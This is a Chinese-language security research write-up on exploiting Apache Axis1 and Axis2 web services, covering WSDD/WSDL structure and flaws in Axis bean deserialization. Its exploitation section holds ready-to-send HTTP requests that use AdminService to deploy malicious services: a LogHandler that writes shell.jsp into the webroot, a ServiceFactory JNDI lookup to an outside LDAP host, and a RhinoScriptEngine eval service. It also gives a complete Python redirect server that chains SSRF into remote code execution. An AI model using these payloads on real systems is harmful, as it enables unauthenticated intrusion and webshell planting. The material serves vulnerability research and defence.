Java axis 配置host_Apache Axis1 与 Axis2 WebService 的漏洞利用总结

作者:Longofo@知道创宇404实验室

日期:2021年2月26日

Apache Axis分为Axis1(一开始就是Axis,这里为了好区分叫Axis1)和Axis2,Axis1是比较老的版本了,在Axis1官方文档说到,Apache Axis1现在已经很大程度被Apache Axis2,Apache CXF和Metro取代,但是,Axis1仍与以下类型的项目相关:

需要使用JAX-RPC的项目。该API只有两种开源实现:Axis和Sun的参考实现。

需要使用或公开使用SOAP编码的Web服务的项目。SOAP编码已被弃用,现代Web服务框架不再支持。但是,仍然存在使用编码类型的旧式服务。

使用Axis构建的现有项目,使用现代Web服务框架重写它们的投资回报将太低。

之前遇到过几个应用还是在使用Axis1,Axis1依然存在于较多因为太庞大或臃肿而没那么容易被重构的系统中。

后面记录下Axis1和Axis2相关内容。各个WebService框架的设计有区别,但是也有相通之处,熟悉一个看其他的或许能省不少力气。

1. Apache Axis1

1.1 搭建一个Axis项目

如果一开始不知道配置文件要配置些什么,可以使用Intellij idea创建axis项目,idea会自动生成好一个基础的用于部署的server-config.wsdd配置文件以及web.xml文件,如果手动创建需要自己写配置文件,看过几个应用中的配置文件,用idea创建的server-config.wsdd中的基本配置参数在看过的几个应用中基本也有,所以猜测大多开发Axis的如果没有特殊需求一开始都不会手动去写一些基本的参数配置,只是往里面添加service。

1.1.1 使用idea创建Axis项目

758c0a95595d4d07b46e2314bca38fc1.png

新建项目,选择WebServices

选择Apache Axis

如果你不知道axis开发要依赖些什么,就选择下载(默认会下载Axis1的最新版1.4版本);你知道的话就可以选择之后自己设置依赖

完成之后,idea生成的结构如下:

361e06a0604db9e13a5b6f11b4f04e69.png

主要是会自动帮我们生成好基础的wsdd配置文件和web.xml中的servlet

1.1.2 访问WebService

搭建完成之后,和通常的部署web服务一样部署到tomcat或其他服务器上就可以了访问测试了。idea默认生成的web.xml中配置了两个web services访问入口:

/services

/servlet/AxisServlet

7b31471d954a3ce2fef69cf77b2cb755.png

0b1c95584148eefffeb3418155212c61.png

还有一种是.jws结尾的文件,也可以作为web service,.jws里面其实就是java代码,不过.jws只是作为简单服务使用,不常用,后续是只看wsdl这种的。

后续要用到的示例项目代码传到了github。

1.2 基本概念

1.2.1 wsdd配置文件

大体基本结构如下,更详细的可以看idea生成的wsdd文件:

http://xml.apache.org/axis/wsdd/

value="adam.bp.workflow.webservice.test.WebServicesTest"/>

后续对于漏洞利用需要关注的就是中的几个parameter,qs:list、qs:wsdl、qs:method。这些在后面会逐步看到。

1.2.2 Service Styles

在官方文档一共提供了四种Service方式:

RPC

Document

Wrapped

Message,上面wsdd中的AdminService就属于这类service,,它配置的是java:MSG

后续内容都是基于RPC方式,后续不做特别说明的默认就是RPC方式,也是Axis作为WebService常用的方式,RPC服务遵循SOAP RPC约定,其他三种方式暂不介绍(Message Service在1.2.3.4小节中会有说明)。

1.2.3 wsdl组成

访问AdminService的wsdl来解析下wsdl结构:

2c11bf92a6f91287ed99710286bcf7dd.png

wsdl主要包含5个部分:

types

messages

portType

binding

service

结合AdminService的代码来更好的理解wsdl:

public class Admin {

protected static Log log;

public Admin() {

}

public Element[] AdminService(Element[] xml) throws Exception {

log.debug("Enter: Admin::AdminService");

MessageContext msgContext = MessageContext.getCurrentContext();

Document doc = this.process(msgContext, xml[0]);

Element[] result = new Element[]{doc.getDocumentElement()};

log.debug("Exit: Admin::AdminService");

return result;

}

...

}

1.2.3.1 types

types是对于service对应的类,所有公开方法中的复杂参数类型和复杂返回类型的描述。如:

AdminService方法的参数和返回值中都有复杂类型,表示AdminService方法的Element[]参数,是一个Element类型的数组,不是基本类型(基本类型可以看1.2.4节),如果没有配置该类的对应的序列化器和反序列化器(在后续可以看到),在wsdl中就会写成type="xsd:anyType"。就是AdminService方法的返回值,同理。

1.2.3.2 messages

messages是对于service对应的类,每个公开方法每个参数类型和返回类型的描述。如:

就是AdminService方法入参,它是一个复杂类型,所以用element="impl:AdminService"引用上面types中的。同理表示。

1.2.3.3 portType

portType是service对应的类,有哪些方法被公开出来可被远程调用。如:

这个service的AdminService方法被公开出来可以调用,他的输入输出分别是impl:AdminServiceRequest和impl:AdminServiceResponse,也就是上面messages对应的两个定义。

1.2.3.4 binding

binding可以理解成如何通过soap进行方法请求调用的描述。如:

这个binding的实现是impl:Admin,就是portType中的Admin。

POST /axis/services/AdminService HTTP/1.1

Host: 127.0.0.1:8080

Content-Type: text/xml; charset=utf-8

Accept: application/soap+xml, application/dime, multipart/related, text/*

User-Agent: Axis/1.4

Cache-Control: no-cache

Pragma: no-cache

SOAPAction: ""

Content-Length: 473

xmlns="http://xml.apache.org/axis/wsdd/"

xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">

这里soap没有方法名(即AdminService),也没有参数类型。可能这里会好奇,这个

最后,我们到达“Message”样式的服务,当您希望Axis退后一步,让您的代码以实际的XML而不是将其转换为Java对象时,应使用它们。Message样式服务方法有四个有效签名:

public Element [] method(Element [] bodies);

public SOAPBodyElement [] method (SOAPBodyElement [] bodies);

public Document method(Document body);

public void method(SOAPEnvelope req, SOAPEnvelope resp);

前两个将传递DOM元素或SOAPBodyElements的方法数组-数组将为信封中中的每个XML元素包含一个元素。

第三个签名将为您传递一个表示的DOM文档,并且期望得到相同的结果。

第四个签名为您传递了两个表示请求和响应消息的SOAPEnvelope对象。如果您需要查看或修改服务方法中的标头,则使用此签名。无论您放入响应信封的内容如何,返回时都会自动发送回给呼叫者。请注意,响应信封可能已经包含已由其他处理程序插入的标头。

1.2.3.5 service

这个标签对于我们调用者其实没什么作用,也就说明下这个service的调用url为http://localhost:8080/axis/services/AdminService:

可以看出service包含了binding,binding包含了portType,portType包含了messages,messages包含了types。看wsdl的时候倒着从service看可能更好一点,依次往上寻找。

1.2.3.6 说明

对于多个参数的方法,含有复杂类型的方法,可以看demo项目中的HelloWord的wsdl,我将那个类的方法参数改得更有说服力些,如果能看懂wsdl并且能猜测出这个service公开有哪些方法,每个方法的参数是怎样的,就基本没有问题了。

Axis文档中说到,1.2.3小节的每一部分在运行时都会动态生成对应的类去处理,不过我们不需要关心它怎么处理的,中间的生成代码对于该框架的漏洞利用也没有价值,不必去研究。

其实有工具来帮助解析wsdl的,例如soap ui,我们也可以很方便的点击,填写数据就能调用。大多数时候没有问题,但是有时候传递复杂数据类型出现问题时,你得直到问题出在哪,还是得人工看下types,人工正确的构造下再传递;或者你自己绑定的恶意类不符合bean标准时,soap ui其实生成的不准确或不正确,也要自己手动修改构造。

1.2.4 wsdl types与java基础类型的对应

文档中列出了下面一些基本类型:

xsd:base64Binary

byte[]

xsd:boolean

boolean

xsd:byte

byte

xsd:dateTime

java.util.Calendar

xsd:decimal

java.math.BigDecimal

xsd:double

double

xsd:float

float

xsd:hexBinary

byte[]

xsd:int

int

xsd:integer

java.math.BigInteger

xsd:long

long

xsd:QName

javax.xml.namespace.QName

xsd:short

short

xsd:string

java.lang.String

1.2.5 axis不能通过soap发送什么

官方文档说,不能通过网络发送任意Java对象,并希望它们在远端被理解。如果你是使用RMI,您可以发送和接收可序列化的Java对象,但这是因为您在两端都运行Java。Axis仅发送已注册Axis序列化器的对象。本文档下面显示了如何使用BeanSerializer来序列化遵循访问者和变异者JavaBean模式的任何类。要提供对象,必须用BeanSerializer注册类,或者使用Axis中内置的Bean序列化支持。

1.2.6 Bean类的反序列化

当类作为方法参数或者返回值时,需要用到Bean Serializer和Bean Deserializer,Axis有内置的Bean序列化器和反序列化器.

如上面项目中的我已经配置好的HelloWorld Service配置:

http://example

serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"

deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"

encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"

deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"

encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

使用标签配置对应类的序列化器和反序列化器

1.2.6.1 Bean类反序列化时构造器的选择

使用org.apache.axis.encoding.ser.BeanDeserializer#startElement选择Bean类的构造函数

public void startElement(String namespace, String localName, String prefix, Attributes attributes, DeserializationContext context) throws SAXException {

if (this.value == null) {

try {

this.value = this.javaType.newInstance();//先调用默认构造器

} catch (Exception var8) {

Constructor[] constructors = this.javaType.getConstructors();

if (constructors.length > 0) {

this.constructorToUse = constructors[0];//如果没找到默认构造器,就从全部构造器中选择第一个,这里的顺序可能不是固定的,比如有多个构造函数,这里constructors的顺序经过测试也不是按申明顺序排列的,可能和jdk版本有关,但是固定的jdk版本每次调用时这里的constructors顺序是不会改变的。这里应该是设计的有问题,为什么要这样没有目的的随意取一个构造器,在后面我会用java.io.File类当作Bean类来说明这个缺陷,而且在1.2.6.3小节中还会提到另一个缺陷

}

if (this.constructorToUse == null) {

throw new SAXException(Messages.getMessage("cantCreateBean00", this.javaType.getName(), var8.toString()));

}

}

}

super.startElement(namespace, localName, prefix, attributes, context);

}

1.2.6.2 Bean类反序列化时有参构造器或setter方式为属性赋值的选择

org.apache.axis.encoding.ser.BeanDeserializer#onStartChild:

public SOAPHandler onStartChild(String namespace, String localName, String prefix, Attributes attributes, DeserializationContext context) throws SAXException {

...

....

else if (dSer == null) {

throw new SAXException(Messages.getMessage("noDeser00", childXMLType.toString()));

} else {

if (this.constructorToUse != null) {//如果constructorToUse不为空就使用构造器,在1.2.4.1中如果有默认构造器,constructorToUse是不会被赋值的,如果没有默认构造器就会使用setter方式

if (this.constructorTarget == null) {

this.constructorTarget = new ConstructorTarget(this.constructorToUse, this);

}

dSer.registerValueTarget(this.constructorTarget);

} else if (propDesc.isWriteable()) {//否则使用属性设置器,setter方式

if ((itemQName != null || propDesc.isIndexed() || isArray) && !(dSer instanceof ArrayDeserializer)) {

++this.collectionIndex;

dSer.registerValueTarget(new BeanPropertyTarget(this.value, propDesc, this.collectionIndex));

} else {

this.collectionIndex = -1;

dSer.registerValueTarget(new BeanPropertyTarget(this.value, propDesc));

}

}

...

...

}

}

}

1.2.6.3 Bean类反序列化时选择有参构造器赋值

如果选择了有参构造器赋值,就不会调用setter方法了,将属性作为参数传递给构造器,org.apache.axis.encoding.ConstructorTarget#set:

public void set(Object value) throws SAXException {

try {

this.values.add(value);//外部传递的属性个数,可以只传递一个属性,也可以不传,还可以全部传,this.values就是从外部传递的数据个数值

if (this.constructor.getParameterTypes().length == this.values.size()) {//这里判断了this.constructor(就是前面的constructorToUse)参数的个数和传递的个数是否相等,相等进入下面构造器的调用

Class[] classes = this.constructor.getParameterTypes();

Object[] args = new Object[this.constructor.getParameterTypes().length];

for(int c = 0; c < classes.length; ++c) {

boolean found = false;

//下面这个for循环判断构造函数的参数的类型是否和传递的参数类型一样,但是这个写法应该不正确,假如Bean类为java.io.File,构造函数被选择为public File(String parent,String Child),this.values为{"./","test123.jsp"}那么当上面和下面这个循环结束后,args会变成{"./","./"},这也是我后面测试过的,因为第二个循环从0开始的,构造器第一个参数类型和第二个参数类型一样都是String,当为第二个参数赋值时,this.values.get(0)的类型为String,匹配上第二个参数类型,所以args取到的第二个值还是"./"。

for(int i = 0; !found && i < this.values.size(); ++i) {

if (this.values.get(i).getClass().getName().toLowerCase().indexOf(classes[c].getName().toLowerCase()) != -1) {

found = true;

args[c] = this.values.get(i);

}

}

if (!found) {

throw new SAXException(Messages.getMessage("cannotFindObjectForClass00", classes[c].toString()));

}

}

Object o = this.constructor.newInstance(args);

this.deSerializer.setValue(o);

}

} catch (Exception var7) {

throw new SAXException(var7);

}

}

1.2.6.4 Bean类反序列化时setter方式为属性赋值

org.apache.axis.encoding.ser.BeanPropertyTarget#set:

public void set(Object value) throws SAXException {

//this.pd类型BeanPropertyDescriptor,下面就是setter方式为bean对象赋值

try {

if (this.index < 0) {

this.pd.set(this.object, value);

} else {

this.pd.set(this.object, this.index, value);

}

} catch (Exception var8) {

Exception e = var8;

try {

Class type = this.pd.getType();

if (value.getClass().isArray() && value.getClass().getComponentType().isPrimitive() && type.isArray() && type.getComponentType().equals(class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object)) {

type = Array.newInstance(JavaUtils.getWrapperClass(value.getClass().getComponentType()), 0).getClass();

}

if (JavaUtils.isConvertable(value, type)) {

value = JavaUtils.convert(value, type);

if (this.index < 0) {

this.pd.set(this.object, value);

} else {

this.pd.set(this.object, this.index, value);

}

} else {

if (this.index != 0 || !value.getClass().isArray() || type.getClass().isArray()) {

throw e;

}

for(int i = 0; i < Array.getLength(value); ++i) {

Object item = JavaUtils.convert(Array.get(value, i), type);

this.pd.set(this.object, i, item);

}

}

} catch (Exception var7) {

...

...

类作为参数需要的条件

如果有公有默认构造器,则首先调用公有默认构造器,然后会调用setter方法为属性赋值;如果没有公有默认构造器,但是有公有构造器能传入参数,但是调用哪个可能不是固定的,此时不会再调用setter函数了

该类的所有属性,如果不是基础类型,属性类也必须符合条件1才行

类或者属性作为类都需要用或配置后才能使用(用typeMapping更通用些)

在后面的利用中有个RhinoScriptEngine作为恶意类就是个很好的例子

类作为service需要的条件

需要一个公有的默认构造器

只有public的方法会作为service方法,并且不会包含父类的方法

用标签配置

1.3 Axis客户端编写

大致步骤:

新建一个Service Call

设置Service端点

设置OperationName,也就是要调用的目标service公开出来的方法

如果方法参数不是基本类型,需要注册类的序列化器和反序列化器

使用call.invoke(new Object[]{param1,param2,...})调用即可

Axis Client:

package client;

import example.HelloBean;

import example.TestBean;

import org.apache.axis.client.Call;

import org.apache.axis.client.Service;

import org.apache.axis.encoding.ser.BeanDeserializerFactory;

import org.apache.axis.encoding.ser.BeanSerializerFactory;

import javax.xml.namespace.QName;

import java.util.Date;

public class AxisClient {

public static void main(String[] args) {

try {

String endpoint =

"http://localhost:8080/axis/services/HelloWorld?wsdl";

Service service = new Service();

Call call = (Call) service.createCall();

call.setTargetEndpointAddress(new java.net.URL(endpoint));

QName opQname = new QName("http://example", "sayHelloWorldFrom");

call.setOperationName(opQname);

QName helloBeanQname = new QName("urn:HelloBeanManager", "HelloBean");

call.registerTypeMapping(HelloBean.class, helloBeanQname, new BeanSerializerFactory(HelloBean.class, helloBeanQname), new BeanDeserializerFactory(HelloBean.class, helloBeanQname));

QName testBeanQname = new QName("urn:TestBeanManager", "TestBean");

call.registerTypeMapping(TestBean.class, testBeanQname, new BeanSerializerFactory(TestBean.class, testBeanQname), new BeanDeserializerFactory(TestBean.class, testBeanQname));

HelloBean helloBean = new HelloBean();

helloBean.setStr("aaa");

helloBean.setAnInt(111);

helloBean.setBytes(new byte[]{1, 2, 3});

helloBean.setDate(new Date(2021, 2, 12));

helloBean.setTestBean(new TestBean("aaa", 111));

String ret = (String) call.invoke(new Object[]{helloBean});

System.out.println("Sent 'Hello!', got '" + ret + "'");

} catch (Exception e) {

e.printStackTrace();

}

}

}

还可以使用soap ui工具进行调用,十分方便:

a59651a7769479616376fac56af96c67.png

可以抓包看下使用代码发送的内容,和soap ui发送的有什么不同,尽管大多数时候soap ui能正确帮你生成可调用的soap内容,你只用填写参数,但是有的复杂类型或者不符合bean标准的参数可能还是得手动修改或者使用代码调用的方式抓包数据来进行辅助修改。

1.4 Axis的利用

利用方式有以下两种:

暴露在外部的web service能直接调用造成危害,web service通常会存在较多的漏洞问题,很多时候没鉴权或者鉴权不够。

利用AdminService部署恶意类service或者handler,但是AdminService只能local访问,需要配合一个SSRF

第一种方式需要根据实际应用来判断,后面只写第二种方式。1.4节之前的一些内容就是为了能够理解这里利用AdminService传递部署的

1.4.1 几个通用的RCE恶意类service或handler

有两个公开的LogHandler和ServiceFactory ;另一个我想起了之前jdk7及以下中存在的RhinoScriptEngine,由于Axis1版本比较老了,许多使用Axis1版本的大都是在jdk6、jdk7下,这种情况下前两个类不好用时,可以试下这个类,这个类的部署也有意思,用到了前面说到的

1.4.1.1 org.apache.axis.handlers.LogHandler handler

post请求:

POST /axis/services/AdminService HTTP/1.1

Host: 127.0.0.1:8080

Content-Type: text/xml; charset=utf-8

Accept: application/soap+xml, application/dime, multipart/related, text/*

User-Agent: Axis/1.4

Cache-Control: no-cache

Pragma: no-cache

SOAPAction: ""

Content-Length: 777

xmlns="http://xml.apache.org/axis/wsdd/"

xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">

get请求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomBBB%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2Fwebapps%2FROOT%2Fshell.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Axis/1.4

Cache-Control: no-cache

Pragma: no-cache

通过get或post请求部署完成后,访问刚才部署的service并随意调用其中的一个方法:

POST /axis/services/randomBBB HTTP/1.1

Host: 127.0.0.1:8080

Content-Type: text/xml; charset=utf-8

Accept: application/soap+xml, application/dime, multipart/related, text/*

User-Agent: Axis/1.4

Cache-Control: no-cache

Pragma: no-cache

SOAPAction: ""

Content-Length: 700

]]>

?

会在tomcat的webapps/ROOT/下生成一个shell.jsp文件

缺陷:只有写入jsp文件时,并且目标服务器解析jsp文件时才有用,例如不让解析jsp但是解析jspx文件时,因为log中有其他垃圾信息,jspx会解析错误,所以写入jspx也是没用的

1.4.1.2 org.apache.axis.client.ServiceFactory service

post请求:

POST /axis/services/AdminService HTTP/1.1

Host: 127.0.0.1:8080

Connection: close

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Accept-Language: en-US,en;q=0.5

SOAPAction: something

Upgrade-Insecure-Requests: 1

Content-Type: application/xml

Accept-Encoding: gzip, deflate

Content-Length: 750

get请求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Axis/1.4

Cache-Control: no-cache

Pragma: no-cache

通过get或post请求部署完成后,访问刚才部署的service并调用它的getService方法,传入jndi链接即可:

POST /axis/services/ServiceFactoryService HTTP/1.1

Host: 127.0.0.1:8080

Content-Type: text/xml; charset=utf-8

Accept: application/soap+xml, application/dime, multipart/related, text/*

User-Agent: Axis/1.4

Cache-Control: no-cache

Pragma: no-cache

SOAPAction: ""

Content-Length: 891

jndiName

ldap://xxx.xx.xx.xxx:8888/Exploit

缺陷:如果设置了不允许远程加载JNDI Factory,就不能用了

1.4.1.3 com.sun.script.javascript.RhinoScriptEngine service

post请求:

POST /axis/services/AdminService HTTP/1.1

Host: 127.0.0.1:8080

Content-Type: text/xml; charset=utf-8

Accept: application/soap+xml, application/dime, multipart/related, text/*

User-Agent: Axis/1.4

Cache-Control: no-cache

Pragma: no-cache

SOAPAction: ""

Content-Length: 905

xmlns="http://xml.apache.org/axis/wsdd/"

xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">

type="java:javax.script.SimpleScriptContext"

qname="ns:SimpleScriptContext"

serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"

xmlns:ns="urn:beanservice" regenerateElement="false">

get请求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RhinoScriptEngineService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22com.sun.script.javascript.RhinoScriptEngine%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22eval%22%20%2F%3E%3CtypeMapping%20deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%20type%3D%22java%3Ajavax.script.SimpleScriptContext%22%20qname%3D%22ns%3ASimpleScriptContext%22%20serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%20xmlns%3Ans%3D%22urn%3Abeanservice%22%20regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Axis/1.4

Cache-Control: no-cache

Pragma: no-cache

通过get或post请求部署完成后,访问刚才部署的service并调用它的eval方法,还可以回显:

POST /axis/services/RhinoScriptEngineService HTTP/1.1

Host: 127.0.0.1:8080

Content-Type: text/xml; charset=utf-8

Accept: application/soap+xml, application/dime, multipart/related, text/*

User-Agent: Axis/1.4

Cache-Control: no-cache

Pragma: no-cache

SOAPAction: ""

Content-Length: 866

缺陷: jdk7及之前的版本可以用,之后的版本就不是这个ScriptEngine类了,取代他的是NashornScriptEngine,但是这个NashornScriptEngine不能利用。

1.4.1.4 说明

如果是白盒其实很容易找到很好用的利用类,在jdk中利用lookup的恶意类其实也很多,即使你碰到的环境是jdk8以上,jsp不解析,jndi也被禁用,但是应用依赖的三方包中依然存在很多可利用的恶意类,例如通过下面的关键词简单搜索筛选下也应该能找到一些:

Runtime.getRuntime()

new ProcessBuilder(

.eval(

.exec(

new FileOutputStream(

.lookup(

.defineClass(

...

如果经常黑盒可以收集一些使用量较大的三方包中能利用的恶意类。

另一个问题就是作为恶意Bean的构造器选择问题,来看demo示例一个java.io.File作为参数的例子,这里直接在wsdd中配置HelloWorld Service演示了,配置如下就行:

serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"

deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"

encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

然后在HelloWord类中,写个测试方法,public boolean saveFile(File file, byte[] bytes) {将File类作为参数,下面用soap ui来测试下:

85d25b84dd557e059b3bcfbb24d65a2d.png

下面是File构造器的选择,在1.2.6.1小节也说到了这个问题,感觉是个设计缺陷,这里construtors的第一个是两个String参数的构造器:

ef586cd2f3cb02039589d42d8ce56f6c.png

然后在org.apache.axis.encoding.ConstructorTarget#set通过构造器赋值,这里也是一个设计缺陷:

4082197dfd8fab8f2becc2f73f3dd440.png

我传入的值分别为./和test.jsp,但是经过他的处理后args变成了./和./,接下来到example.HelloWorld#saveFile去看看值:

7cd219a6f0a694727cc8431c65429b45.png

可以看到File的值为./.导致不存在而错误,再假设传入的值为./webapps/ROOT/test.jsp把,到这里就会变成./webapps/ROOT/test.jsp/webapps/ROOT/test.jsp还是不存在而错误。

所以寻找Bean这种作为参数的恶意类有时候会因为Axis的这些设计问题导致不一定能利用。

1.4.2 利用AdminService + SSRF进行未授权RCE

由于AdminService只能localhost访问,一般来说,能进行post请求的ssrf不太可能,所以一般利用ssrf进行get请求来部署恶意服务,只需要找到一个ssrf即可rce。

在demo示例项目中,我添加了一个SSRFServlet,并且不是请求完成的url,而是解析出协议,ip,port重新组合再请求,这里这么模拟只是为了模拟更严苛环境下,依然可以利用重定向来利用这个漏洞,大多时候http的请求类默认应该是支持重定向的。用上面的RhinoScriptEngine作为恶意类来模拟。

302服务器:

import logging

import random

import socket

import sys

import threading

import time

from http.server import SimpleHTTPRequestHandler, HTTPServer

logger = logging.getLogger("Http Server")

logger.addHandler(logging.StreamHandler(sys.stdout))

logger.setLevel(logging.INFO)

class HTTPServerV4(HTTPServer):

address_family = socket.AF_INET

class MHTTPServer(threading.Thread):

def __init__(self, bind_ip='0.0.0.0', bind_port=666, requestHandler=SimpleHTTPRequestHandler):

threading.Thread.__init__(self)

self.bind_ip = bind_ip

self.bind_port = int(bind_port)

self.scheme = 'http'

self.server_locked = False

self.server_started = False

self.requestHandler = requestHandler

self.httpserver = HTTPServerV4

self.host_ip = self.get_host_ip()

self.__flag = threading.Event()

self.__flag.set()

self.__running = threading.Event()

self.__running.set()

def check_port(self, ip, port):

res = socket.getaddrinfo(ip, port, socket.AF_UNSPEC, socket.SOCK_STREAM)

af, sock_type, proto, canonname, sa = res[0]

s = socket.socket(af, sock_type, proto)

try:

s.connect(sa)

s.shutdown(2)

return True

except:

return False

finally:

s.close()

def get_host_ip(self):

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:

s.connect(('8.8.8.8', 80))

ip = s.getsockname()[0]

except Exception:

ip = '127.0.0.1'

finally:

s.close()

return ip

def start(self, daemon=True):

if self.server_locked:

logger.info(

'Httpd serve has been started on {}://{}:{}, '.format(self.scheme, self.bind_ip, self.bind_port))

return

if self.check_port(self.host_ip, self.bind_port):

logger.error('Port {} has been occupied, start Httpd serve failed!'.format(self.bind_port))

return

self.server_locked = True

self.setDaemon(daemon)

threading.Thread.start(self)

detect_count = 10

while detect_count:

try:

logger.info('Detect {} server is runing or not...'.format(self.scheme))

if self.check_port(self.host_ip, self.bind_port):

break

except Exception as ex:

logger.error(str(ex))

time.sleep(random.random())

detect_count -= 1

def run(self):

try:

while self.__running.is_set():

self.__flag.wait()

if not self.server_started:

self.httpd = self.httpserver((self.bind_ip, self.bind_port), self.requestHandler)

logger.info("Starting httpd on {}://{}:{}".format(self.scheme, self.bind_ip, self.bind_port))

thread = threading.Thread(target=self.httpd.serve_forever)

thread.setDaemon(True)

thread.start()

self.server_started = True

self.httpd.shutdown()

self.httpd.server_close()

logger.info('Stop httpd server on {}://{}:{}'.format(self.scheme, self.bind_ip, self.bind_port))

except Exception as ex:

self.httpd.shutdown()

self.httpd.server_close()

logger.error(str(ex))

def pause(self):

self.__flag.clear()

def resume(self):

self.__flag.set()

def stop(self):

self.__flag.set()

self.__running.clear()

time.sleep(random.randint(1, 3))

class Http302RequestHandler(SimpleHTTPRequestHandler):

location = ""

def do_GET(self):

status = 302

self.send_response(status)

self.send_header("Content-type", "text/html")

self.send_header("Content-Length", "0")

self.send_header("Location", Http302RequestHandler.location)

self.end_headers()

if __name__ == '__main__':

Http302RequestHandler.location = "http://127.0.0.1:8080/axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RhinoScriptEngineService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22com.sun.script.javascript.RhinoScriptEngine%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22eval%22%20%2F%3E%3CtypeMapping%20deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%20type%3D%22java%3Ajavax.script.SimpleScriptContext%22%20qname%3D%22ns%3ASimpleScriptContext%22%20serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%20xmlns%3Ans%3D%22urn%3Abeanservice%22%20regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment"

httpd = MHTTPServer(bind_port=8888, requestHandler=Http302RequestHandler)

httpd.start(daemon=True)

while True:

time.sleep(100000)

使用SSRFServlet请求302服务器并重定向到locaohost进行部署服务。

2. Apache Axis2

Apache Axis2是Web服务/ SOAP / WSDL引擎,是广泛使用的Apache Axis1 SOAP堆栈的后继者。与Axis1.x架构相比,Axis2所基于的新架构更加灵活,高效和可配置。新体系结构中保留了一些来自Axis 1.x的完善概念,例如处理程序等。

2.1 搭建Axis2项目

2.1.1 使用idea搭建Axis2

从Axis2官网下载war包,解压war包之后将axis2-web和WEB-INF复制到项目的web目录下,结构如下:

cab11609fac0e81110ebccd592ce8dcf.png

然后可以在services目录下配置自己的service服务,部署到tomcat即可。项目demo放在了github

2.1.2 访问WebService

如果按照上面步骤搭建的项目,访问首页之后会出现如下页面:

1bddc278939a6a4961cb1f3c542dc07c.png

访问/axis2/services/listServices会出现所有已经部署好的web services(Axis2不能像Axis1那样用直接访问/services/或用?list列出services了)。

2.2 Axis2与Axis1配置文件的变化

2.2.1 axis2.xml全局配置文件

在Axis1的全局配置和service配置都在server-config.wsdd中配置。但是Axis2的全局配置单独放到了axis2.xml中,下面说下和后面漏洞利用有关的两个配置:

5018dffe4fb381a030060182e39798c8.png

配置了允许部署.aar文件作为service,.aar就是个压缩包文件,里面包含要部署的类和services.xml配置信息,官方默认也给了一个version-1.7.9.aar示例。

另一个配置是axis2-admin的默认登陆账号和密码,登陆上去之后可以上传.aar部署恶意service。

27c32604ab44bbb9b1a50ccb037ddd91.png

2.2.2 services.xml

Axis2的service配置改为了在WEB-INF/services目录下配置,Axis2会扫描该目录下的所有xxx/META-INF/services.xml和services.list文件:

3391d90c323c030cd1ea242bc4e60d16.png

